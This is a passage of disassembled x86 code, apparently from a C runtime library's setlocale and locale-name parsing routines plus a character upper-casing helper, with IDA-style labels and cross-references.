push 0
push 0
push 0
push 0
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call ds:dword_4943B0
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_4231F8
xor eax, eax
jmp short loc_423231
; ---------------------------------------------------------------------------
loc_4231F8: ; CODE XREF: sub_422F40+2B2j
jmp short loc_42322A
; ---------------------------------------------------------------------------
loc_4231FA: ; CODE XREF: sub_422F40+28Aj
push 0
push 0
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_18]
push ecx
call ds:dword_4943B0
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42322A
xor eax, eax
jmp short loc_423231
; ---------------------------------------------------------------------------
loc_42322A: ; CODE XREF: sub_422F40:loc_423146j
; sub_422F40:loc_4231F8j ...
mov eax, [ebp+var_28]
jmp short loc_423231
; ---------------------------------------------------------------------------
loc_42322F: ; CODE XREF: sub_422F40+D2j
xor eax, eax
loc_423231: ; CODE XREF: sub_422F40+81j
; sub_422F40+C6j ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_422F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423250 proc near ; CODE XREF: sub_422F40+94p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_423262: ; CODE XREF: sub_423250+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_423287
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_423287
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_423262
; ---------------------------------------------------------------------------
loc_423287: ; CODE XREF: sub_423250+20j
; sub_423250+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_423299
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_42329C
; ---------------------------------------------------------------------------
loc_423299: ; CODE XREF: sub_423250+3Fj
mov eax, [ebp+arg_4]
loc_42329C: ; CODE XREF: sub_423250+47j
mov esp, ebp
pop ebp
retn
sub_423250 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B0h
cmp dword ptr [ebp+8], 0
jl short loc_4232B5
cmp dword ptr [ebp+8], 5
jle short loc_4232BC
loc_4232B5: ; CODE XREF: .text:004232ADj
xor eax, eax
jmp loc_42368B
; ---------------------------------------------------------------------------
loc_4232BC: ; CODE XREF: .text:004232B3j
push 13h
call sub_41BC90
add esp, 4
mov dword ptr [ebp-4], 1
mov eax, dword_492748
add eax, 1
mov dword_492748, eax
loc_4232DA: ; CODE XREF: .text:004232EBj
cmp dword_49274C, 0
jz short loc_4232ED
push 1
call ds:dword_4942D8
jmp short loc_4232DA
; ---------------------------------------------------------------------------
loc_4232ED: ; CODE XREF: .text:004232E1j
cmp dword ptr [ebp+8], 0
jz short loc_423331
cmp dword ptr [ebp+0Ch], 0
jz short loc_423311
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_423690
add esp, 8
mov [ebp-0A8h], eax
jmp short loc_423323
; ---------------------------------------------------------------------------
loc_423311: ; CODE XREF: .text:004232F7j
mov eax, [ebp+8]
imul eax, 0Ch
mov ecx, dword_443494[eax]
mov [ebp-0A8h], ecx
loc_423323: ; CODE XREF: .text:0042330Fj
mov edx, [ebp-0A8h]
mov [ebp-8], edx
jmp loc_42366B
; ---------------------------------------------------------------------------
loc_423331: ; CODE XREF: .text:004232F1j
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-0Ch], 0
cmp dword ptr [ebp+0Ch], 0
jz loc_423663
mov eax, [ebp+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 4Ch
jnz loc_423574
mov edx, [ebp+0Ch]
movsx eax, byte ptr [edx+1]
cmp eax, 43h
jnz loc_423574
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Fh
jnz loc_423574
mov eax, [ebp+0Ch]
mov [ebp-9Ch], eax
loc_423381: ; CODE XREF: .text:00423543j
push offset asc_43307C ; "=;"
mov ecx, [ebp-9Ch]
push ecx
call sub_42AC80
add esp, 8
mov [ebp-0A0h], eax
cmp dword ptr [ebp-0A0h], 0
jz short loc_4233CD
mov edx, [ebp-0A0h]
sub edx, [ebp-9Ch]
mov [ebp-0A4h], edx
cmp dword ptr [ebp-0A4h], 0
jz short loc_4233CD
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jnz short loc_4233F3
loc_4233CD: ; CODE XREF: .text:004233A2j
; .text:004233BDj
cmp dword ptr [ebp-4], 0
jz short loc_4233EC
push 13h
call sub_41BD30
add esp, 4
mov edx, dword_492748
sub edx, 1
mov dword_492748, edx
loc_4233EC: ; CODE XREF: .text:004233D1j
xor eax, eax
jmp loc_42368B
; ---------------------------------------------------------------------------
loc_4233F3: ; CODE XREF: .text:004233CBj
mov dword ptr [ebp-10h], 1
jmp short loc_423405
; ---------------------------------------------------------------------------
loc_4233FC: ; CODE XREF: .text:loc_423451j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_423405: ; CODE XREF: .text:004233FAj
cmp dword ptr [ebp-10h], 5
jg short loc_423453
mov ecx, [ebp-0A4h]
push ecx
mov edx, [ebp-9Ch]
push edx
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, off_443490[eax]
push ecx
call sub_41B790
add esp, 0Ch
test eax, eax
jnz short loc_423451
mov edx, [ebp-10h]
imul edx, 0Ch
mov eax, off_443490[edx]
push eax
call sub_418E70
add esp, 4
cmp [ebp-0A4h], eax
jnz short loc_423451
jmp short loc_423453
; ---------------------------------------------------------------------------
loc_423451: ; CODE XREF: .text:00423430j
; .text:0042344Dj
jmp short loc_4233FC
; ---------------------------------------------------------------------------
loc_423453: ; CODE XREF: .text:00423409j
; .text:0042344Fj
push offset asc_433078 ; ";"
mov ecx, [ebp-0A0h]
add ecx, 1
mov [ebp-0A0h], ecx
mov edx, [ebp-0A0h]
push edx
call sub_42AC40
add esp, 8
mov [ebp-0A4h], eax
cmp dword ptr [ebp-0A4h], 0
jnz short loc_4234B9
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jz short loc_4234B9
cmp dword ptr [ebp-4], 0
jz short loc_4234B2
push 13h
call sub_41BD30
add esp, 4
mov edx, dword_492748
sub edx, 1
mov dword_492748, edx
loc_4234B2: ; CODE XREF: .text:00423497j
xor eax, eax
jmp loc_42368B
; ---------------------------------------------------------------------------
loc_4234B9: ; CODE XREF: .text:00423483j
; .text:00423491j
cmp dword ptr [ebp-10h], 5
jg short loc_42350A
mov eax, [ebp-0A4h]
push eax
mov ecx, [ebp-0A0h]
push ecx
lea edx, [ebp-98h]
push edx
call sub_4191A0
add esp, 0Ch
mov eax, [ebp-0A4h]
mov byte ptr [ebp+eax-98h], 0
lea ecx, [ebp-98h]
push ecx
mov edx, [ebp-10h]
push edx
call sub_423690
add esp, 8
test eax, eax
jz short loc_42350A
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_42350A: ; CODE XREF: .text:004234BDj
; .text:004234FFj
mov ecx, [ebp-0A0h]
add ecx, [ebp-0A4h]
mov [ebp-9Ch], ecx
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_423538
mov ecx, [ebp-9Ch]
add ecx, 1
mov [ebp-9Ch], ecx
loc_423538: ; CODE XREF: .text:00423527j
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jnz loc_423381
cmp dword ptr [ebp-0Ch], 0
jz short loc_42355C
call sub_423830
mov [ebp-0ACh], eax
jmp short loc_423566
; ---------------------------------------------------------------------------
loc_42355C: ; CODE XREF: .text:0042354Dj
mov dword ptr [ebp-0ACh], 0
loc_423566: ; CODE XREF: .text:0042355Aj
mov ecx, [ebp-0ACh]
mov [ebp-8], ecx
jmp loc_423661
; ---------------------------------------------------------------------------
loc_423574: ; CODE XREF: .text:00423352j
; .text:00423362j ...
mov edx, [ebp+8]
push edx
push 0
push 0
lea eax, [ebp-98h]
push eax
mov ecx, [ebp+0Ch]
push ecx
call sub_423930
add esp, 14h
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_423661
mov dword ptr [ebp-10h], 0
jmp short loc_4235AE
; ---------------------------------------------------------------------------
loc_4235A5: ; CODE XREF: .text:loc_42360Ej
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_4235AE: ; CODE XREF: .text:004235A3j
cmp dword ptr [ebp-10h], 5
jg short loc_423610
cmp dword ptr [ebp-10h], 0
jz short loc_42360E
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, dword_443494[eax]
push ecx
lea edx, [ebp-98h]
push edx
call sub_419360
add esp, 8
test eax, eax
jz short loc_423605
lea eax, [ebp-98h]
push eax
mov ecx, [ebp-10h]
push ecx
call sub_423690
add esp, 8
test eax, eax
jz short loc_4235FC
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
jmp short loc_423603
; ---------------------------------------------------------------------------
loc_4235FC: ; CODE XREF: .text:004235EFj
mov dword ptr [ebp-14h], 0
loc_423603: ; CODE XREF: .text:004235FAj
jmp short loc_42360E
; ---------------------------------------------------------------------------
loc_423605: ; CODE XREF: .text:004235D8j
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_42360E: ; CODE XREF: .text:004235B8j
; .text:loc_423603j
jmp short loc_4235A5
; ---------------------------------------------------------------------------
loc_423610: ; CODE XREF: .text:004235B2j
cmp dword ptr [ebp-14h], 0
jz short loc_42363B
call sub_423830
mov [ebp-8], eax
push 2
mov ecx, dword_443494
push ecx
call sub_4174C0
add esp, 8
mov dword_443494, 0
jmp short loc_423661
; ---------------------------------------------------------------------------
loc_42363B: ; CODE XREF: .text:00423614j
cmp dword ptr [ebp-0Ch], 0
jz short loc_42364E
call sub_423830
mov [ebp-0B0h], eax
jmp short loc_423658
; ---------------------------------------------------------------------------
loc_42364E: ; CODE XREF: .text:0042363Fj
mov dword ptr [ebp-0B0h], 0
loc_423658: ; CODE XREF: .text:0042364Cj
mov edx, [ebp-0B0h]
mov [ebp-8], edx
loc_423661: ; CODE XREF: .text:0042356Fj
; .text:00423596j ...
jmp short loc_42366B
; ---------------------------------------------------------------------------
loc_423663: ; CODE XREF: .text:00423343j
call sub_423830
mov [ebp-8], eax
loc_42366B: ; CODE XREF: .text:0042332Cj
; .text:loc_423661j
cmp dword ptr [ebp-4], 0
jz short loc_423688
push 13h
call sub_41BD30
add esp, 4
mov eax, dword_492748
sub eax, 1
mov dword_492748, eax
loc_423688: ; CODE XREF: .text:0042366Fj
mov eax, [ebp-8]
loc_42368B: ; CODE XREF: .text:004232B7j
; .text:004233EEj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423690 proc near ; CODE XREF: .text:00423301p
; .text:004234F5p ...
var_A8 = dword ptr -0A8h
var_A0 = dword ptr -0A0h
var_9C = byte ptr -9Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_A0]
push ecx
lea edx, [ebp+var_A8]
push edx
lea eax, [ebp+var_9C]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_423930
add esp, 14h
test eax, eax
jnz short loc_4236C9
xor eax, eax
jmp loc_42381F
; ---------------------------------------------------------------------------
loc_4236C9: ; CODE XREF: sub_423690+30j
push 132h
push offset aSetlocal_c ; "setlocal.c"
push 2
lea edx, [ebp+var_9C]
push edx
call sub_418E70
add esp, 4
add eax, 1
push eax
call sub_416A30
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_423700
xor eax, eax
jmp loc_42381F
; ---------------------------------------------------------------------------
loc_423700: ; CODE XREF: sub_423690+67j
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, dword_443494[eax]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, dword_492168[edx*4]
mov [ebp+var_4], eax
push 6
mov ecx, [ebp+arg_0]
imul ecx, 6
add ecx, offset dword_4922E4
push ecx
lea edx, [ebp+var_14]
push edx
call sub_418A00
add esp, 0Ch
mov eax, dword_492180
mov [ebp+var_18], eax
lea ecx, [ebp+var_9C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_419FA0
add esp, 8
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov dword_443494[ecx], eax
mov edx, [ebp+var_A8]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov dword_492168[eax*4], edx
push 6
lea ecx, [ebp+var_A8]
push ecx
mov edx, [ebp+arg_0]
imul edx, 6
add edx, offset dword_4922E4
push edx
call sub_418A00
add esp, 0Ch
cmp [ebp+arg_0], 2
jnz short loc_4237A3
mov eax, [ebp+var_A0]
mov dword_492180, eax
loc_4237A3: ; CODE XREF: sub_423690+106j
cmp [ebp+arg_0], 1
jnz short loc_4237B5
mov ecx, [ebp+var_A0]
mov dword_492184, ecx
loc_4237B5: ; CODE XREF: sub_423690+117j
mov edx, [ebp+arg_0]
imul edx, 0Ch
call off_443498[edx]
test eax, eax
jz short loc_4237FC
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, [ebp+var_C]
mov dword_443494[eax], ecx
push 2
mov edx, [ebp+var_8]
push edx
call sub_4174C0
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_492168[eax*4], ecx
mov edx, [ebp+var_18]
mov dword_492180, edx
xor eax, eax
jmp short loc_42381F
; ---------------------------------------------------------------------------
loc_4237FC: ; CODE XREF: sub_423690+133j
cmp [ebp+var_C], offset dword_443380
jz short loc_423813
push 2
mov eax, [ebp+var_C]
push eax
call sub_4174C0
add esp, 8
loc_423813: ; CODE XREF: sub_423690+173j
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov eax, dword_443494[ecx]
loc_42381F: ; CODE XREF: sub_423690+34j
; sub_423690+6Bj ...
mov esp, ebp
pop ebp
retn
sub_423690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423830 proc near ; CODE XREF: .text:0042354Fp
; .text:00423616p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 1
cmp dword_443494, 0
jnz short loc_423864
push 167h
push offset aSetlocal_c ; "setlocal.c"
push 2
push 351h
call sub_416A30
add esp, 10h
mov dword_443494, eax
loc_423864: ; CODE XREF: sub_423830+14j
mov eax, dword_443494
mov byte ptr [eax], 0
mov [ebp+var_4], 1
jmp short loc_42387E
; ---------------------------------------------------------------------------
loc_423875: ; CODE XREF: sub_423830:loc_423927j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42387E: ; CODE XREF: sub_423830+43j
mov edx, [ebp+var_4]
imul edx, 0Ch
mov eax, dword_443494[edx]
push eax
push offset asc_43308C ; "="
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, off_443490[ecx]
push edx
push 3
mov eax, dword_443494
push eax
call sub_423AD0
add esp, 14h
cmp [ebp+var_4], 5
jge short loc_4238F9
push offset asc_433078 ; ";"
mov ecx, dword_443494
push ecx
call sub_419FB0
add esp, 8
mov edx, [ebp+var_4]
add edx, 1
imul edx, 0Ch
mov eax, dword_443494[edx]
push eax
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, dword_443494[ecx]
push edx
call sub_419360
add esp, 8
test eax, eax
jz short loc_4238F7
mov [ebp+var_8], 0
loc_4238F7: ; CODE XREF: sub_423830+BEj
jmp short loc_423927
; ---------------------------------------------------------------------------
loc_4238F9: ; CODE XREF: sub_423830+81j
cmp [ebp+var_8], 0
jnz short loc_423906
mov eax, dword_443494
jmp short loc_42392C
; ---------------------------------------------------------------------------
loc_423906: ; CODE XREF: sub_423830+CDj
push 2
mov eax, dword_443494
push eax
call sub_4174C0
add esp, 8
mov dword_443494, 0
mov eax, off_4434AC
jmp short loc_42392C
; ---------------------------------------------------------------------------
loc_423927: ; CODE XREF: sub_423830:loc_4238F7j
jmp loc_423875
; ---------------------------------------------------------------------------
loc_42392C: ; CODE XREF: sub_423830+D4j
; sub_423830+F5j
mov esp, ebp
pop ebp
retn
sub_423830 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423930 proc near ; CODE XREF: .text:00423587p
; sub_423690+26p
var_88 = byte ptr -88h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 88h
cmp [ebp+arg_0], 0
jnz short loc_423946
xor eax, eax
jmp loc_423AB0
; ---------------------------------------------------------------------------
loc_423946: ; CODE XREF: sub_423930+Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 43h
jnz short loc_4239A0
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
test eax, eax
jnz short loc_4239A0
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 43h
mov edx, [ebp+arg_4]
mov byte ptr [edx+1], 0
cmp [ebp+arg_8], 0
jz short loc_423989
mov eax, [ebp+arg_8]
mov word ptr [eax], 0
mov ecx, [ebp+arg_8]
mov word ptr [ecx+2], 0
mov edx, [ebp+arg_8]
mov word ptr [edx+4], 0
loc_423989: ; CODE XREF: sub_423930+3Dj
cmp [ebp+arg_C], 0
jz short loc_423998
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_423998: ; CODE XREF: sub_423930+5Dj
mov eax, [ebp+arg_4]
jmp loc_423AB0
; ---------------------------------------------------------------------------
loc_4239A0: ; CODE XREF: sub_423930+1Fj
; sub_423930+2Aj
mov ecx, [ebp+arg_0]
push ecx
push offset dword_443408
call sub_419360
add esp, 8
test eax, eax
jz loc_423A68
mov edx, [ebp+arg_0]
push edx
push offset dword_443384
call sub_419360
add esp, 8
test eax, eax
jz loc_423A68
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_88]
push ecx
call sub_423B20
add esp, 8
test eax, eax
jz short loc_4239F0
xor eax, eax
jmp loc_423AB0
; ---------------------------------------------------------------------------
loc_4239F0: ; CODE XREF: sub_423930+B7j
lea edx, [ebp+var_88]
push edx
push offset dword_49215C
lea eax, [ebp+var_88]
push eax
call sub_42ACC0
add esp, 0Ch
test eax, eax
jnz short loc_423A16
xor eax, eax
jmp loc_423AB0
; ---------------------------------------------------------------------------
loc_423A16: ; CODE XREF: sub_423930+DDj
xor ecx, ecx
mov cx, word_492160
mov dword_492164, ecx
lea edx, [ebp+var_88]
push edx
push offset dword_443408
call sub_423C80
add esp, 8
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_423A56
mov edx, [ebp+arg_0]
push edx
push offset dword_443384
call sub_419FA0
add esp, 8
jmp short loc_423A68
; ---------------------------------------------------------------------------
loc_423A56: ; CODE XREF: sub_423930+111j
push offset dword_443408
push offset dword_443384
call sub_419FA0
add esp, 8
loc_423A68: ; CODE XREF: sub_423930+83j
; sub_423930+9Cj ...
cmp [ebp+arg_8], 0
jz short loc_423A81
push 6
push offset dword_49215C
mov eax, [ebp+arg_8]
push eax
call sub_418A00
add esp, 0Ch
loc_423A81: ; CODE XREF: sub_423930+13Cj
cmp [ebp+arg_C], 0
jz short loc_423A9A
push 4
push offset dword_492164
mov ecx, [ebp+arg_C]
push ecx
call sub_418A00
add esp, 0Ch
loc_423A9A: ; CODE XREF: sub_423930+155j
push offset dword_443408
mov edx, [ebp+arg_4]
push edx
call sub_419FA0
add esp, 8
mov eax, offset dword_443408
loc_423AB0: ; CODE XREF: sub_423930+11j
; sub_423930+6Bj ...
mov esp, ebp
pop ebp
retn
sub_423930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423AC0 proc near ; CODE XREF: sub_423690+12Bp
; DATA XREF: .data:off_443498o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_423AC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423AD0 proc near ; CODE XREF: sub_423830+75p
; sub_423C80+30p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AE5: ; CODE XREF: sub_423AD0+42j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_423AEE: ; CODE XREF: sub_423AD0+13j
mov edx, [ebp+var_8]
cmp edx, [ebp+arg_4]
jge short loc_423B14
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx-4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_419FB0
add esp, 8
jmp short loc_423AE5
; ---------------------------------------------------------------------------
loc_423B14: ; CODE XREF: sub_423AD0+24j
mov [ebp+var_4], 0
mov esp, ebp
pop ebp
retn
sub_423AD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423B20 proc near ; CODE XREF: sub_423930+ADp
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 88h
push 0
mov eax, [ebp+arg_0]
push eax
call sub_4189A0
add esp, 0Ch
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_423B4A
xor eax, eax
jmp loc_423C79
; ---------------------------------------------------------------------------
loc_423B4A: ; CODE XREF: sub_423B20+21j
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_423B80
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
test eax, eax
jz short loc_423B80
mov ecx, [ebp+arg_4]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_419FA0
add esp, 8
xor eax, eax
jmp loc_423C79
; ---------------------------------------------------------------------------
loc_423B80: ; CODE XREF: sub_423B20+33j
; sub_423B20+3Ej
mov [ebp+var_4], 0
jmp short loc_423B92
; ---------------------------------------------------------------------------
loc_423B89: ; CODE XREF: sub_423B20+152j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_423B92: ; CODE XREF: sub_423B20+67j
push offset a___0 ; "_.,"
mov ecx, [ebp+arg_4]
push ecx
call sub_42AC40
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_423BB4
or eax, 0FFFFFFFFh
jmp loc_423C79
; ---------------------------------------------------------------------------
loc_423BB4: ; CODE XREF: sub_423B20+8Aj
mov edx, [ebp+arg_4]
add edx, [ebp+var_C]
mov al, [edx]
mov [ebp+var_8], al
cmp [ebp+var_4], 0
jnz short loc_423BEA
cmp [ebp+var_C], 40h
jge short loc_423BEA
movsx ecx, [ebp+var_8]
cmp ecx, 2Eh
jz short loc_423BEA
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4191A0
add esp, 0Ch
jmp short loc_423C50
; ---------------------------------------------------------------------------
loc_423BEA: ; CODE XREF: sub_423B20+A3j
; sub_423B20+A9j ...
cmp [ebp+var_4], 1
jnz short loc_423C18
cmp [ebp+var_C], 40h
jge short loc_423C18
movsx edx, [ebp+var_8]
cmp edx, 5Fh
jz short loc_423C18
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
call sub_4191A0
add esp, 0Ch
jmp short loc_423C50
; ---------------------------------------------------------------------------
loc_423C18: ; CODE XREF: sub_423B20+CEj
; sub_423B20+D4j ...
cmp [ebp+var_4], 2
jnz short loc_423C4B
movsx eax, [ebp+var_8]
test eax, eax
jz short loc_423C2F
movsx ecx, [ebp+var_8]
cmp ecx, 2Ch
jnz short loc_423C4B
loc_423C2F: ; CODE XREF: sub_423B20+104j
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 80h
push ecx
call sub_4191A0
add esp, 0Ch
jmp short loc_423C50
; ---------------------------------------------------------------------------
loc_423C4B: ; CODE XREF: sub_423B20+FCj
; sub_423B20+10Dj
or eax, 0FFFFFFFFh
jmp short loc_423C79
; ---------------------------------------------------------------------------
loc_423C50: ; CODE XREF: sub_423B20+C8j
; sub_423B20+F6j ...
movsx edx, [ebp+var_8]
cmp edx, 2Ch
jnz short loc_423C5B
jmp short loc_423C77
; ---------------------------------------------------------------------------
loc_423C5B: ; CODE XREF: sub_423B20+137j
movsx eax, [ebp+var_8]
test eax, eax
jnz short loc_423C65
jmp short loc_423C77
; ---------------------------------------------------------------------------
loc_423C65: ; CODE XREF: sub_423B20+141j
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
lea eax, [edx+ecx+1]
mov [ebp+arg_4], eax
jmp loc_423B89
; ---------------------------------------------------------------------------
loc_423C77: ; CODE XREF: sub_423B20+139j
; sub_423B20+143j
xor eax, eax
loc_423C79: ; CODE XREF: sub_423B20+25j
; sub_423B20+5Bj ...
mov esp, ebp
pop ebp
retn
sub_423B20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423C80 proc near ; CODE XREF: sub_423930+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_419FA0
add esp, 8
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+40h]
test eax, eax
jz short loc_423CB8
mov ecx, [ebp+arg_4]
add ecx, 40h
push ecx
push offset a__4 ; "_"
push 2
mov edx, [ebp+arg_0]
push edx
call sub_423AD0
add esp, 10h
loc_423CB8: ; CODE XREF: sub_423C80+1Cj
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+80h]
test ecx, ecx
jz short loc_423CE3
mov edx, [ebp+arg_4]
add edx, 80h
push edx
push offset a__3 ; "."
push 2
mov eax, [ebp+arg_0]
push eax
call sub_423AD0
add esp, 10h
loc_423CE3: ; CODE XREF: sub_423C80+44j
pop ebp
retn
sub_423C80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423D00 proc near ; CODE XREF: sub_41A870+201p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_492170, 0
jnz short loc_423D27
cmp [ebp+arg_0], 61h
jl short loc_423D22
cmp [ebp+arg_0], 7Ah
jg short loc_423D22
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_423D22: ; CODE XREF: sub_423D00+11j
; sub_423D00+17j
mov eax, [ebp+arg_0]
jmp short loc_423D8F
; ---------------------------------------------------------------------------
loc_423D27: ; CODE XREF: sub_423D00+Bj
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_423D59
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_4], 1
jmp short loc_423D60
; ---------------------------------------------------------------------------
loc_423D59: ; CODE XREF: sub_423D00+39j
mov [ebp+var_4], 0
loc_423D60: ; CODE XREF: sub_423D00+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_423DA0
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_423D81
push 13h
call sub_41BD30
add esp, 4
jmp short loc_423D8C
; ---------------------------------------------------------------------------
loc_423D81: ; CODE XREF: sub_423D00+73j
push offset dword_49274C
call ds:dword_494414
loc_423D8C: ; CODE XREF: sub_423D00+7Fj
mov eax, [ebp+arg_0]
loc_423D8F: ; CODE XREF: sub_423D00+25j
mov esp, ebp
pop ebp
retn
sub_423D00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DA0 proc near ; CODE XREF: sub_423D00+64p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
